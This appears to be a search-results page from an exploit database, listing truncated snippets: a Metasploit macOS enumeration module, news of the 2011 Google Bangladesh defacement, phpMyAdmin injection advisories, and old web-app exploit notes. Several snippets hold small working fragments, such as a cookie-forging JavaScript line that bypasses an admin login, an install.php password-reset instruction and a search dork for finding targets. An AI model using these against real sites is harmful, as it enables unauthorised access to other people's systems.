OS X Gather Mac OS X System Information Enumeration

This module gathers basic system information from Mac OS X Tiger 10.4, through Mojave 10.14. This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'OS X Gather Mac OS X System Information Enumeration'...

Exclusive Interview with TiGER-M@TE (Bangladesh Google website Hacker)

Update : Latest Hack by TiGER-M@TE : 700,000 sites on Inmotion Hosting Server hacked in one shot On the morning of Saturday, Jan 8, 2011 the biggest news of cyber world was - Google Bangladesh website Google.com.bd Hacked by TiGER-M@TE . TiGER-M@TE is a Bangladeshi Hacker, He was already connecte...

Google Bangladesh website (Google.com.bd) Hacked by TiGER-M@TE

Google Bangladesh website Google.com.bd Hacked by TiGER-M@TE We just got an anonymous tip that Google's been 'hacked' – sure enough, visitors of the company's Bangladesh search site Google.com.bd see a defaced landing page rather than the usual search site. As far as I can tell, www.google.com.bd...

PhpMyAdmin Client Side 0Day Code Injection and Link Falsification

Exploit for php platform in category web applications ================================================================= PhpMyAdmin Client Side 0Day Code Injection and Link Falsification ================================================================= Credits: Emanuele 'emgent' Gentili Marco...

Unvalidated input on error page.

PMASA-2010-9 Announcement-ID: PMASA-2010-9 Date: 2010-12-07 Updated: 2010-02-16 Summary Unvalidated input on error page. Description It was possible to display arbitrary text and link to external site using parameters passed to particular script. Severity This issue is considered minor, because t...

phpMyAdmin - Client-Side Code Injection Redirect Link Falsification

phpMyAdmin - Client-Side Code Injection Redirect Link Falsification PhpMyAdmin Client Side 0Day Code Injection and Redirect Link Falsification Credits: Emanuele 'emgent' Gentili Marco 'whitesheep' Rondini Alessandro 'scox' Scoscia In error.php, PhpMyAdmin permit to insert text and restricted tag,...

phpMyAdmin - Client-Side Code Injection / Redirect Link Falsification

PhpMyAdmin Client Side 0Day Code Injection and Redirect Link Falsification Credits: Emanuele 'emgent' Gentili Marco 'whitesheep' Rondini Alessandro 'scox' Scoscia In error.php, PhpMyAdmin permit to insert text and restricted tag, like BBCode. With tag a@url@pageClick Me/a, you can insert your own...

More Secure Software Needed for Utilities, NERC CSO Says

It took a malware attack with an unprecedented level of sophistication to make it happen, but officials in charge of the security of much of the country’s electrical grid have come ot the conclusion that there is a need for more secure software and better security processes and procedures to...

Tiger CMS 3.0 Administrative Bypass

========================================== TIGER CMS Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 0 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1 + Discovered By : Inj3ct0r + Site : Inj3ct0r.com + support e-mail : submitatinj3ct0r.com...

WebLeague 2.2.0 Password Changer

TiGeR-Dz WebLeague 2.2.0 install.phpRemote Change Password By: TiGeR-Dz POC :http://www.victim.com/path/install.php Put Name and password : Dork:"powered by: WebLeague" TiGeR-Dz...

webLeague 2.2.0 (install.php) Remote Change Password Exploit

Exploit for unknown platform in category web applications ============================================================ webLeague 2.2.0 install.php Remote Change Password Exploit ============================================================ WebLeague 2.2.0 install.phpRemote Change Password By:...

webLeague 2.2.0 - install.php Remote Change Password

webLeague 2.2.0 - install.php Remote Change Password TiGeR-Dz WebLeague 2.2.0 install.phpRemote Change Password By: TiGeR-Dz POC :http://www.victim.com/path/install.php Put Name and password : Dork:"powered by: WebLeague" TiGeR-Dz milw0rm.com 2009-07-16...

webLeague 2.2.0 (install.php) Remote Change Password Exploit

No description provided by source. TiGeR-Dz WebLeague 2.2.0 install.phpRemote Change Password By: TiGeR-Dz POC :http://www.victim.com/path/install.php Put Name and password : Dork:"powered by: WebLeague" TiGeR-Dz sebug.net...

webLeague 2.2.0 - 'install.php' Remote Change Password

TiGeR-Dz WebLeague 2.2.0 install.phpRemote Change Password By: TiGeR-Dz POC :http://www.victim.com/path/install.php Put Name and password : Dork:"powered by: WebLeague" TiGeR-Dz milw0rm.com 2009-07-16...

AWScripts Gallery Search Engine Insecure Cookie

AWScripts.com Gallery Search Engine 1.5 Remote Cookie Insecure + Discovered By TiGeR-Dz Cookie Insecure +++++++++++++++++++++++++ javascript:document.cookie="awselogged=1;path=/"; Demo ---- http://www.awscripts.com/demose/awse/awseadmin/index.php...

AWScripts Gallery Search Engine 1.x Insecure Cookie Vulnerability

No description provided by source. + AWScripts.com Gallery Search Engine 1.5 Remote Cookie Insecure + Discovered By TiGeR-Dz Cookie Insecure +++++++++++++++++++++++++ javascript:document.cookie="awselogged=1;path=/"; Demo ---- http://www.awscripts.com/demose/awse/awseadmin/index.php sebug.net...

AWScripts Gallery Search Engine 1.x Insecure Cookie Vulnerability

Exploit for unknown platform in category web applications ================================================================= AWScripts Gallery Search Engine 1.x Insecure Cookie Vulnerability ================================================================= + AWScripts.com Gallery Search Engine 1.5...

AWScripts Gallery Search Engine 1.x - Insecure Cookie

AWScripts.com Gallery Search Engine 1.5 Remote Cookie Insecure + Discovered By TiGeR-Dz Cookie Insecure +++++++++++++++++++++++++ javascript:document.cookie="awselogged=1;path=/"; Demo ---- http://www.awscripts.com/demose/awse/awseadmin/index.php milw0rm.com 2009-06-22...

Web Directory PRO Remote Database Backup Vulnerability

Exploit for unknown platform in category web applications ====================================================== Web Directory PRO Remote Database Backup Vulnerability ====================================================== --------------------------------------------------------------- Web...

SuperCali PHP Event Calendar Password Changer

--------------------------------------------------------------- SuperCali PHP Event Calendar Arbitrary Change Admin Password Exploit --------------------------------------------------------------- Founder :TiGeR-Dz Home:http://www.h4ckf0ru.com Script:SuperCali PHP Event Calendar...